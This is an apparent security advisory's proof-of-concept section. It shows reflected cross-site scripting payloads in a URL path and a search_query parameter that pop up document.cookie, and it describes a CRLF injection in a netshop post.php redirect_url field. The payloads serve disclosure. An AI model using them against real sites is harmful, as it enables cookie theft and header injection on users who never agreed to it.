Proof of Concept:
=================
1. Client Side - Cross Site Scripting
The client side cross site scripting vulnerabilities can be exploited by remote attackers without privileged application user 
account and with medium or high required user inter action. For demonstration or reproduce ...

1.1 - In URL address.

PoC:
http://site.127.0.0.1:3666/?' onmouseover=’prompt(document.cookie)'bad='>


1.2 - In "search_query" parameter.

PoC:
http://site.127.0.0.1:3666/search/?search_query=' onmouseover=prompt(document.cookie) bad='



2. Client Side via POST - CRLF injection/HTTP Parameter Pollution
The client side crlf vulnerability can be exploited by remote attackers without privileged application user 
account and with medium or high required user inter action. For demonstration or reproduce ...

In /netcat/modules/netshop/post.php URL encoded POST input redirect_url was set to NetCatStatus:hacked_by_seceffect

PoC: POST
http://site.127.0.0.1:3666/netcat/modules/netshop/post.php
